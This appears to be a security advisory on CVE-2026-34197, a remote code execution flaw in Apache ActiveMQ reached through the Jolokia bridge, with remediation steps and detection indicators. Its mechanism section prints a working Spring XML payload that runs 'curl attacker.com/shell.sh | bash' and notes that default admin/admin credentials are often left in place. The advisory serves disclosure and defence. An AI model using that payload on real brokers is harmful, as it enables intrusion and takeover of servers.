CVE-2026-34197: Apache ActiveMQ RCE via Jolokia JMX-HTTP Bridge

Background

Apache ActiveMQ is one of the most widely deployed open-source message brokers in the world, serving as the backbone for asynchronous messaging in enterprise applications, microservice architectures, and integration platforms. It implements the Java Message Service (JMS) API and supports AMQP, STOMP, MQTT, and OpenWire protocols. Organisations in banking, telecommunications, logistics, and e-commerce rely on ActiveMQ to provide guaranteed message delivery between distributed components — making broker availability and integrity a critical operational concern.

ActiveMQ has a history of critical vulnerabilities that attract rapid weaponisation. CVE-2023-46604, a serialisation-based RCE disclosed in late 2023, was exploited within days of disclosure to deploy ransomware and cryptominers at scale. Threat actors actively maintain tooling targeting ActiveMQ because broker compromise provides visibility into application-layer message flows — including authentication tokens, transaction records, and internal API calls — that transit the message bus.

CVE-2026-34197 introduces a new attack vector through the Jolokia JMX-HTTP bridge. Jolokia is an HTTP/JSON adapter for the Java Management Extensions (JMX) interface, commonly bundled with ActiveMQ to expose management operations via REST API. While Jolokia in isolation is a management convenience tool, in this vulnerability it becomes a mechanism for loading arbitrary remote code through Java’s Spring Framework infrastructure.

Technical Mechanism

The vulnerability arises from insufficient input validation in the Jolokia bridge’s MBean operation dispatcher. Jolokia exposes JMX MBean methods via HTTP POST requests in the following format:

{
  "type": "exec",
  "mbean": "some.mbean:type=Example",
  "operation": "doSomething",
  "arguments": ["arg1"]
}

The vulnerable code path exists in the ActiveMQ management MBeans that accept class or context arguments. Specifically, an authenticated attacker can invoke a management operation that accepts a URL argument for ResourceXmlApplicationContext — a Spring Framework class that loads a Spring XML application context from a remote URL. By supplying a URL pointing to an attacker-controlled HTTP server hosting a malicious Spring XML beans file, the attacker causes ActiveMQ to:

1. Fetch the remote XML file over HTTP
2. Parse it as a Spring application context
3. Instantiate the beans defined in the XML, including factory beans that execute arbitrary code during context initialisation

A minimal malicious Spring XML payload using MethodInvokingFactoryBean can execute arbitrary shell commands:

<beans xmlns="http://www.springframework.org/schema/beans">
  <bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
    <property name="targetClass" value="java.lang.Runtime"/>
    <property name="targetMethod" value="exec"/>
    <property name="arguments">
      <list><value>bash -c 'curl attacker.com/shell.sh | bash'</value></list>
    </property>
  </bean>
</beans>

The exploit requires a valid ActiveMQ user account (PR:L in CVSS terms), but default ActiveMQ installations frequently ship with default credentials (admin/admin) that are not changed in many deployments, effectively reducing the authentication requirement to negligible in practice.

Real-World Exploitation Evidence

CISA’s addition of CVE-2026-34197 to the KEV catalogue followed reports from multiple security vendors of active exploitation campaigns targeting publicly exposed ActiveMQ instances. The exploitation pattern shares tooling characteristics with campaigns that previously targeted CVE-2023-46604, suggesting established threat actor infrastructure was rapidly adapted.

Observed post-exploitation activity includes:

• Deployment of XMRig cryptominer payloads within minutes of initial access, consistent with automated exploitation frameworks
• Installation of web shells in ActiveMQ’s web console directory for persistent access
• Credential harvesting targeting configuration files containing database connection strings and API keys bundled with ActiveMQ deployments
• In more targeted intrusions, pivoting to internal services reachable from the broker network, leveraging ActiveMQ’s typical placement in a DMZ or application tier with internal routing

Security researchers published proof-of-concept exploit code within seventy-two hours of the advisory, significantly broadening the pool of capable attackers beyond the initial wave.

Impact Assessment

• Arbitrary code execution as the ActiveMQ service account, typically with broad filesystem and network access
• Message interception: A compromised broker exposes all messages in transit, including authentication tokens, financial transactions, and healthcare data
• Message manipulation: Attackers can inject, modify, or drop messages, causing application-layer data integrity failures
• Credential exposure: ActiveMQ configuration files frequently contain database credentials, LDAP service account passwords, and API keys
• Network pivoting: Brokers are often placed at network boundaries with access to both internal and external segments
• Service disruption: Ransomware operators can halt the broker, causing cascading failures across all dependent applications

Affected Versions

Remediation Steps

1. Upgrade ActiveMQ: For the 5.x branch, upgrade to 5.19.4 or later. For the 6.x branch, upgrade to 6.2.3 or later. Download from the official Apache ActiveMQ release page.

2. Change default credentials immediately: If upgrading is not immediately possible, change the default admin/admin credentials in conf/jetty-realm.properties. Require strong passwords for all ActiveMQ user accounts.

3. Disable or restrict Jolokia: If Jolokia is not required for operational monitoring, disable it by removing the jolokia WAR from the ActiveMQ webapps/ directory, or block access to /jolokia/ paths via a reverse proxy or firewall rule.

4. Restrict the ActiveMQ web console: Limit access to the admin console (default TCP/8161) to monitoring hosts and administrative networks only. The broker STOMP/AMQP/OpenWire ports (61613, 5672, 61616) can remain accessible to application clients without exposing the management interface.

5. Review ActiveMQ user accounts: Audit conf/jetty-realm.properties and remove any unused accounts. Restrict the admin role to accounts that genuinely require it.

6. Implement outbound network controls: Block outbound HTTP/HTTPS from the ActiveMQ server to the internet to prevent the ResourceXmlApplicationContext fetch from reaching attacker infrastructure.

Detection Guidance

Look for the following indicators of exploitation:

• HTTP POST requests to /jolokia/exec/ endpoints in ActiveMQ web console access logs containing URLs in the argument fields (look for http:// or https:// within the JSON body)
• Outbound HTTP connections from the ActiveMQ server to external hosts not in the approved vendor/update list, particularly shortly after inbound Jolokia requests
• Unexpected child processes spawned by the JVM process (e.g., java parent forking bash, sh, curl, or wget)
• New files created in the ActiveMQ webapps/ directory, especially .jsp or .war files
• Connections to known cryptomining pools (port 3333, 4444, 14444) from the ActiveMQ host
• Authentication attempts to the web console using admin/admin or other default credential pairs in access logs

Timeline

References

• NVD — CVE-2026-34197
• CISA KEV — CVE-2026-34197
• Apache Security Advisory — CVE-2026-34197